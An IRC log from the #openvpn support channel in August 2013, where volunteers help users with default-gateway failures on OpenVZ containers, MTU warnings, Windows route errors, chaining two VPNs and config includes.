12:58 <@krzee> (routes can be added by giving a device instead of gateway when using the route command from your OS, but not when using openvpn's --route)
13:00 < mdev> how do you see what redirect-gateway def1 actually does?
13:00 -!- dvl- [~dan@pdpc/supporter/active/dvl] has quit [Quit: leaving]
13:01 <@krzee> it is described in the manual
13:01 <@krzee> and echo'ed out in the logfile
13:02 < mdev> alrighty thanks
13:02 <@krzee> =]
13:02 <@krzee> im also going to submit a feature request to the wishlist
13:02 < mdev> that does what, automate this?
13:03 <@krzee> if they decide to
13:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:03 <@krzee> it's so uncommon i have never seen your problem except with users using ppp
13:04 <@krzee> hey mdev
13:04 < mdev> yeah most use openvz as a openvpn server, not as a client itself, still openvz is really popular so it being done auto would be fantastic
13:04 <@krzee> show me the logfile from when you tried to run it
13:05 <@krzee> i want the error, but i also want to see the log of it
13:05 < mdev> where is that stored at
13:05 <@krzee> how did you see the error...?
13:05 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
13:05 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
13:05 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
13:05 <@krzee> or you can go run it again and pastebin it
13:05 < mdev> I run a hidemy*** vpn script that connects to one of their openvpn servers, the error is straight forward though
13:06 < mdev> als I tried openvpn theconfig directly
13:06 < mdev> and gives same error
13:06 <@krzee> oh you should be getting support from hidemy***
13:06 <@krzee> !provider
13:06 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
13:06 <@krzee> !factoids search service
13:06 <@vpnHelper> No keys matched that query.
13:06 <@krzee> well do you plan on showing it to me?
13:06 <@krzee> lol
13:07 < mdev>  unable to redirect default gateway -- Cannot read current default gateway from system
13:08 <@krzee> should i just give up on seeing what i asked for?
13:08 < kisom> mdev: Did you install windows in any other place than C:\Windows?
13:08 < mdev> it has nothing to do with HMA directly
13:08 < kisom> I had that problem with OpenVPN a while back
13:08 <@krzee> kisom, hes in linux
13:08 < kisom> OpenVPN depends on route.exe being in a hardcoded path
13:09 < kisom> Oh, OK
13:09 < mdev> kisom no i'm using linux via the means of a remote openvz(vps) server
13:09 < kisom> Nvm then.
13:09 < kisom> Activate more verbosity and see what's going on.
13:09 < mdev> krzee where is the error log located
13:09 < mdev> or what error do you mean
13:09 <@krzee> where did you copy that error from?
13:09 <@krzee> you never got that error without the log!
13:09 < mdev> what openvpn outputs
13:10 <@krzee> lol
13:10 <@krzee> THAT
13:10 <@krzee> pastebin it
13:10 <@krzee> it outputs a lot more than just that line
13:10 < eval-> iperf gets up to almost 1MB/s when I up tun-mtu 7000 and mssfix 0 fragment 0
13:10 <@krzee> eval-,
13:10 <@krzee> !gigabit
13:10 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
13:10 <@krzee> you may enjoy ^
13:11 < eval-> but then I get a number Replay-window backtrack occurred and UDPv4 [EMSGSIZE Path-MTU=1492]: Message too long
13:11 < eval-> the thing is my super crappy downlink and my partners fiber are far from gigabit
13:12 <@krzee> im no mtu tuner but it seems to me that you MUST allow fragmenting if you are going to raise inner mtu higher than the real mtu of the link
13:12 < eval-> I don't know whether to trust iperf approximates real world, but it's 2-3x better than the iperf results with the mssfix and fragment numbers I was using to get rid of those error messages
13:12 < mdev>                                         *
13:12 < mdev> http://pastebin.com/JStWxgDb
13:13 < eval-> Also maybe a few cpu% gentler on my plugbox too
13:13 <@krzee>  mdev
13:13 <@krzee> Fri Aug 23 14:07:22 2013 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1575', remote='link-mtu 1543'
13:13 <@krzee> Fri Aug 23 14:07:22 2013 WARNING: 'tun-mtu' is used inconsistently, local='tun-mtu 1532', remote='tun-mtu 1500'
13:13 <@krzee> those are important
13:13 <@krzee> do you run your server mdev?
13:14 < mdev> I run the openvz server that's running the openvpn client, I don't run the remote openvpn server no
13:14 < mdev> anyway those maybe important but the real underlining issue is the default gateway
13:14 <@krzee> mdev, did you modify the client config much from what they gave you?
13:15 < mdev> no
13:15 <@krzee> correct, but beyond the trouble ticket for the gateway thing you need to get help from them with everything/anything else
13:16 < mdev> gateways my only concern, rest works fine :) fast etc...on kvm and windows
13:16 <@krzee> well except for help with the workaround (adding the routes via --route-up instead of redirect-gateway, thats still valid here
13:16 <@krzee> almost seems like you're using tap and they're using tun
13:16 < mdev> why's that signifigant
13:17 <@krzee> but nope you're on tun
13:17 <@krzee> tap is layer2 tun is layer3
13:17 <@krzee> your mtu warnings are VERY weird to come from a provider
13:18 < mdev> well the script does everything i don't even download the client script, it does it itself, so I change nothing. I could download them manually but not concerned abotu it atm
13:18 < mdev> it may not even download, may just run in memory, idk
13:28 < alanjf> Does anyone know if it's ok to assign an individual IP address to each member interface (e.g., eth0 and tap0) of a network bridge (br0), /instead/ of setting up the IP on br0 as typical ?
13:28 <+pekster> krzee: Re bug #324, that's not something OpenVPN can fix. This is a braindead ISP putting "The Internet" on-link
13:28 <@krzee> i can fix it with different route commands
13:28 <@krzee> so how can that not be automated?
13:29 <+pekster> Yes, but detecting the gateway can't work
13:29 <+pekster> There _is_ no gateway
13:29 <@krzee> exactly!
13:29 <@krzee> detect that there _is_ no gateway, or have an option to say so
13:29 < alanjf> The main reason is I'm trying to figure out a way to prevent DHCP packets from propigating across the bridge (via tap0) so that each side's DHCP servers only server their respective sides.
13:29 <+pekster> What exactly fails here?
13:29 <+pekster> Oh, that's fatal isn't it?
13:29 <@krzee> yes
13:29 < alanjf> Can anyone please help?
13:30 <+pekster> Some option like --redirect-gateway ignore-def-gw-failure (needs a better name)
13:30 <@krzee> not quite ignore
13:30 <+pekster> This way #1 of the --redirect-gateway process is ignored if it fails
13:30 <@krzee> it needs to add the routes differently
13:30 <+pekster> No, you want to ignore the inability to set it
13:30 <+pekster> Well, no, even that won't work becuase it's all "on-link"
13:30 <@krzee> you dont need to use a gateway ip to add the routes, can use a device
13:31 <+pekster> The issue is making the backend code to do that platform-neutral
13:31 <@krzee> ya it would be linux only
13:31 <+pekster> And all to support absolutely braindead providers
13:32 <@krzee> but i think you'll find that its a rather linux only issue, i never ever see people have this problem outside of linux
13:32 <+pekster> I see the problem, but I'm not sure supporting what is a clear RFC violation
13:32 <+pekster> .. should be part of what OpenVPN does
13:32 <+pekster> The host in this case is literally ARPing for *every* IP in 0/0
13:33 <@krzee> valid point, worth adding in a response to the ticket
13:33 < rob0> To do filtering on a bridge, in Linux, you can use ebtables(8).
13:33 <+pekster> Yea, I'll comment on it. I personally think "fixinig" this is a worthless feature, but I'd give a decent, non-broken code fix a +0
13:33 <@krzee> so is it just him or is this a common openvz issue?
13:33 <@krzee> i dont have any openvz to check
13:33 <+pekster> This is just the provider
13:33 <@krzee> but HE runs the server
13:33 <@krzee> so there is no provider
13:34 <+pekster> mdev: Can you set up "proper" networking?
13:34 <+pekster> It would surprise me if OpenVZ was actually designed like this...
13:34 <@krzee> pekster, have you run openvz?  can you confirm openvz works normally
13:34 <@krzee> nevermin your answered before i asked =]
13:35 <+pekster> http://wiki.openvz.org/Differences_between_venet_and_veth
13:35 <@vpnHelper> Title: Differences between venet and veth - OpenVZ Linux Containers Wiki (at wiki.openvz.org)
13:36 <+pekster> "CT should setup correct gateway, IP/netmask etc. and then a node admin can only choose where your traffic goes"
13:36 <+pekster> Reading that, I'm very tempted to say "no, OpenVPN will *not* support broken setups"
13:36 <+pekster> 0/0 is not a "correct gateway"
13:36 <@krzee> ahhh yep
13:37 <@krzee> im quite tempted to agree with that as the end of the ticket
13:37 <+pekster> and the paste in the ticket shows this is a venet interface. mdev: why can't you set up a non-broken, RFC-compliant network?
13:37 <+pekster> Oh, you're the "reporter" on that krzee :P
13:37 <@krzee> yep :D
13:37 <+pekster> I'll ping cron in -devel, but unless he objects, I file this under "stupid things OpenVPN will not help you fix"
13:38 <@krzee> ya +1
13:38 <+pekster> k. Just figured I'd ask you before unilatterly declaring this dumb. Thanks
13:39 <@krzee> no no, thank you :D
13:40 <@krzee> mdev, what version openvpn are you running on the client?
13:47 <+pekster> krzee: The way to get that "feature" (should you actually ever _want_ it) would be to use --pull --route-nopull and then have a --route-up script do the broken-client-voodoo
13:48 <+pekster> server-push still works, and the client can continue to pretend the Internet is all an 802.3 link away
13:48 <@krzee> ahh i forgot to mention he would need to route-nopull
13:48 <@krzee> good point
13:49 <@krzee> haha
13:49 <@krzee> mdev, read everything above, and fix your openvz setup :D
13:51 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has quit [Ping timeout: 245 seconds]
14:04 -!- wiak [~wiak@nwgat.net] has quit [Quit: ZNC - http://znc.in]
14:05 -!- wiak [~wiak@nwgat.net] has joined #openvpn
14:09 <+pekster> krzee: NB, try to get Linux route output in `ip route` syntax as it's easier to read, and doesn't require the columb headers to readily dissern. We have a factoid for that too:
14:09 <+pekster> !ifconfig_linux
14:09 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
14:11 <+pekster> column*
14:11 <@krzee> ahh right
14:12 <@krzee> my recent openwrt setup forced me to get used to ip command
14:15 <+pekster> Easy to 'get used to' on Linux through your preferred .profile method: alias ifconfig='echo "Do not use ifconfig. You want the ip command"'
14:16 <+pekster> Still there via /bin/ifconfig if you "need" it, but it'll stop you from using it via CLI without breaking scripts still archaic enough to rely on it
14:16 <@EugeneKay> Heh.
14:27 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
14:28 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 246 seconds]
14:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:42 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
14:52 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:03 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 241 seconds]
15:07 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:10 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:16 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
15:16 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:17 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
15:25 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:33 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
15:34 < bonjurkes> hello all, I am having some route.exe issues now. It was working like charm before. Can someone have a look at the log here? http://pastebin.com/N6uWS6TZ
15:34 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
15:35 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:35 < bonjurkes> The only thing I have done recently is changing the rsa and dsa keys of the server because of some security concern and nothing else about confs has been changed
15:36 <@krzee> reboot try again
15:36 <@krzee> !windows
15:36 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
15:36 <@EugeneKay> That is not a complete log; I suspect this is a reconnection and Windows is not tearing down the routes correctly
15:36 <@EugeneKay> But because you did not provide complete logs or configs, I can't say. Try a reboot per krzee.
15:37 < bonjurkes> Okay I will steal vpnhelper's message
15:37 < bonjurkes> and reboot and try again
15:37 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Remote host closed the connection]
15:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
15:41 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
15:45 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
15:45 < bonjurkes> back
15:46 < bonjurkes> so when I try to connect via command prompt, it doesn't give any error. If I close the command window and try to reconnect again, it gives this route.exe errors
15:51 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
15:54 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 246 seconds]
16:04 < dvl> clever hostname for a vpn server…?
16:04 < dvl> julian?
16:04 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
16:04 < bonjurkes> back once more
16:04 < bonjurkes> http://pastebin.com/YYixh6vx
16:05 < bonjurkes> here is the full log file. Nothing looks wrong. I am following that redirect.png image and I can't ping 8.8.8.8
16:09 -!- DrChaos [~DrChaos@gateway/tor-sasl/drchaos] has joined #openvpn
16:09 < DrChaos> Hi can someone explain how I can chain two VPNs together? Like Me -> VPN1 -> VPN2 -> website
16:09 < DrChaos> without using a VM. Is there a way?
16:16 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "If it does exist, it's out of date"]
16:16 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
16:16 < bonjurkes> looks like iptables rule was deleted
16:17 <@EugeneKay> !def1
16:17 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:18 <@EugeneKay> DrChaos - read per that ^. Use /2 in the inner VPN, with 4 routes.
16:18 <@EugeneKay> Or only have a route for the Inner vpn server on the Outer vpn layer
16:21 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
16:22 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "Everything takes longer than you think"]
16:28 < DrChaos> EugeneKay: I'm really new to all of this terminology, I understand the basics of networking only. Can you explain a bit more or link to a tutorial?
16:29 <@EugeneKay> Not without drawing a diagram, and I charge for those. :-p
16:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:35 < DrChaos> what is the concept behind it? It seems I want to establish a tunnel within a tunnel right? But when I set up tunnel 1, I only want to use it for sending data to tunnel 2, and all other traffic should be gateway'd through tunnel 2?
16:38 <@EugeneKay> Basically, you're setting more specific routes which will be used in place of the less specific "default" route
16:38 <@EugeneKay> Def1 means "default route via /1"
16:39 <@EugeneKay> The default set up by your OS is for 0.0.0.0/0, which means "all IP addresses not covered elsewhere"
16:39 <@EugeneKay> def1 sets up the two routes mentioned above
16:39 <@EugeneKay> def2 doesn't exist, but you can fake it by adding the routes manually with the --route option on your client config
16:39 <+pekster> A more basic guide can be found with the bot's !tcpip if you need more of a 'how networking/routing works' guide for more low-level basics
16:40 <@EugeneKay> Is that one new?
16:40 <+pekster> No, the IBM one
16:40 <@EugeneKay> I mean the factoid
16:40 <+pekster> I've only skimmed the referenced section (very briefly) but it looks okay
16:41 <+pekster> So did I; no, it's not new
16:41 <@EugeneKay> Hm.
16:41 <@EugeneKay> !tcpip
16:41 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
16:41 <@EugeneKay> Can't recall it
16:41 <@EugeneKay> Don't doubt you though
16:45 -!- symb0l [~symb0l@50-193-220-138-static.hfc.comcastbusiness.net] has joined #openvpn
16:49 < DrChaos> Thanks, I will check it out
16:49 < symb0l> im looking at this openvpn_as how can I find the connection limit loaded?
16:50 < mivok> Does an openvpn server.conf support includes? My specific use case is using the duo plugin, which has their API key as a parameter, and I'd like to store the server.conf in version control, but not store the sensitive information.
16:50 <+pekster> !as
16:50 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:50 <+pekster> We suppor the GPL (open-source) product here
16:50 < symb0l> thx
16:50 <+pekster> mivok: Yup, you can chain --config statements
16:51 < mivok> pekster: perfect, thanks!
16:52 < chain> pekster, I wanted to thank you again for helping me two days ago.
16:53 < chain> And also I wanted to let you know that OpenBSD works flawlessly using the exact same setup.
16:53 < chain> So I just decided to go with OpenBSD instead of NetBSD.
16:53 <+pekster> Sure, if my rambings helped, some of the bytes I'm spewing did something!
16:54 <+pekster> What was the issue there again?
16:54  * pekster is 4-windows deep into build config, so 2 days ago is way off my radar atm ;)
16:54 < chain> openvpn couldn't find the default gateway on NetBSD
16:54 <+pekster> Ah, and I presume we verified it had one?
16:55 < chain> you helped me modify the config so that the gateway was set manually
16:55 <+pekster> I forget specifics now, but a couple of us devs just chatted about interfaces in PtP mode that don't have them
16:55 <+pekster> what was the interface in your case on the uplink?
16:55 <+pekster> (Ethernet, or something more exotic?)
16:55 < chain> I tried to make it work for about 5 hours before giving up.
16:55 < chain> Ethernet.
16:56 < chain> I really want to like NetBSD, but for some reason it never works when I try to do something with it.
16:56 <+pekster> Yea, then you "should" have a normal gateway (ie: `netstat -rn` shows it)
16:57 <+pekster> And openvpn really "should" work with it, but without both access to a testcase that fails and a system to debug with there's no much I can do. If some other distro works, that's fine, or just don't rely on --redirect-gateway (assuming you're using that?) and handle the routes manually
16:57 <+pekster> 3rd option is to open a bugreport, and try to include a simple use-case to reproduce, then hope a dev is willing to set up an environment to reproduce & fix it
16:58 < chain> I've written a bash script that I used across different operating systems(linux/FreeBSD/NetBSD/OpenBSD), and it worked on everythign except NetBSD.
16:58 < chain> I'll just stick with OpenBSD. It's my favourite BSD flavour anyway.
16:58 <+pekster> Well, I won't debug your "scripts." Bugreports with obscure & complex setups are generally asked for an openvpn-specific example or ignored. OTOH, if you can show an example of exactly what isn't working, that's halfway to a fix
16:59 < chain> I just wanted to use something different this time around.
16:59 <+pekster> Sure
16:59 <+pekster> Just offering ways to identify if it really is a bug & how to go about resolving it, if you wanted that
16:59 <+pekster> We can't fix bugs unless 1) people can clearly report them and 2) we can reproduce them. I guess there's an implied 3) have time and think it's worth fixing, too ;)
17:00 < chain> It might not be worth fixing to be honest.
17:00 < chain> I was running NetBSD in a virtualized environment anyway, so it might have contributed to the problem.
17:01 < chain> I just needed to build myself a virtual appliance that would act as a proxy for TeamSpeak 3
17:02 < chain> So I decided against using FreeBSD because even the most basic installation was about 2GB, and building my own installation disc just for that would be a waste of time.
17:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
17:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:16 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Read error: Operation timed out]
17:17 < dvl> oh damn, I didn't think about this before.. running OpenVPN as as server in a FreeBSD jail.
17:17 -!- Denial [Denial@94.9.99.190] has quit []
17:21 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
17:22 -!- matsh [~divine@nanogene.org] has joined #openvpn
17:26 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Remote host closed the connection]
17:26 < DrChaos> thanks for help EugeneKay
17:26 -!- DrChaos [~DrChaos@gateway/tor-sasl/drchaos] has quit [Quit: DrChaos]
17:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 276 seconds]
17:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:48 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
18:00 -!- symb0l [~symb0l@50-193-220-138-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
18:09 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 248 seconds]
18:13 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:17 -!- CookieNinja [~carrot@unaffiliated/tommehm] has joined #openvpn
18:39 -!- matsh [~divine@nanogene.org] has quit [Ping timeout: 240 seconds]
18:40 -!- matsh [divine@nanogene.org] has joined #openvpn
18:47 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
19:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:22 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
19:22 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:23 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
19:35 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has quit [Quit: Leaving]
19:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
19:54 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
20:01 -!- CookieNinja [~carrot@unaffiliated/tommehm] has quit [Read error: Operation timed out]
20:02 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
20:13 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
20:17 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:19 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
20:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:25 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
20:25 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:26 -!- s7r [s7r@openvpn/user/s7r] has joined #openvpn
20:26 -!- mode/#openvpn [+v s7r] by ChanServ
20:30 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
20:31 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:36 -!- raidz is now known as raidz_away
21:03 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
21:04 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
22:22 -!- p3rror [~p3rror@41.140.179.7] has joined #openvpn
22:28 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
22:28 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
22:36 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Remote host closed the connection]
22:38 -!- p3rror [~p3rror@41.140.179.7] has quit [Ping timeout: 264 seconds]
22:40 -!- p3rror [~p3rror@41.140.179.7] has joined #openvpn
22:47 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 276 seconds]
23:24 -!- p3rror [~p3rror@41.140.179.7] has quit [Ping timeout: 245 seconds]
--- Day changed Sat Aug 24 2013
00:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:03 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
01:05 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
01:06 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
01:06 -!- szr- is now known as szr
01:55 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:59 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
02:10 -!- gallatin [~gallatin@dslb-188-109-161-189.pools.arcor-ip.net] has joined #openvpn
02:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:50 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
02:56 -!- gallatin [~gallatin@dslb-188-109-161-189.pools.arcor-ip.net] has quit [Quit: Client exiting]
03:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 277 seconds]
03:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:43 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
03:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:52 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has quit [Remote host closed the connection]
03:53 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has joined #openvpn
04:05 -!- JAVACODER [~JAVACODER@2.190.44.212] has joined #openvpn
04:05 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has joined #openvpn
04:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Operation timed out]
04:07 -!- JAVACODER [~JAVACODER@2.190.44.212] has quit [Client Quit]
04:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:11 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
04:12 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
04:12 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
04:12 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
04:12 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
04:13 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
04:23 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
04:24 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
04:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:33 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
04:33 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
04:35 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
04:37 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
04:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
04:40 -!- APTX_ is now known as APTX
04:48 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
04:49 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
04:56 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
05:02 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:03 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
05:04 -!- CookieNinja [~carrot@unaffiliated/tommehm] has joined #openvpn
05:05 -!- kubbing_ [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has joined #openvpn
05:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
05:14 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:23 -!- CookieNinja [~carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
05:24 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
05:33 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
05:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
05:38 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
05:48 -!- master_of_master [~master_of@p4FD7B773.dip0.t-ipconnect.de] has joined #openvpn
05:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:51 -!- master_o1_master [~master_of@p4FD7B471.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
06:21 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
06:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
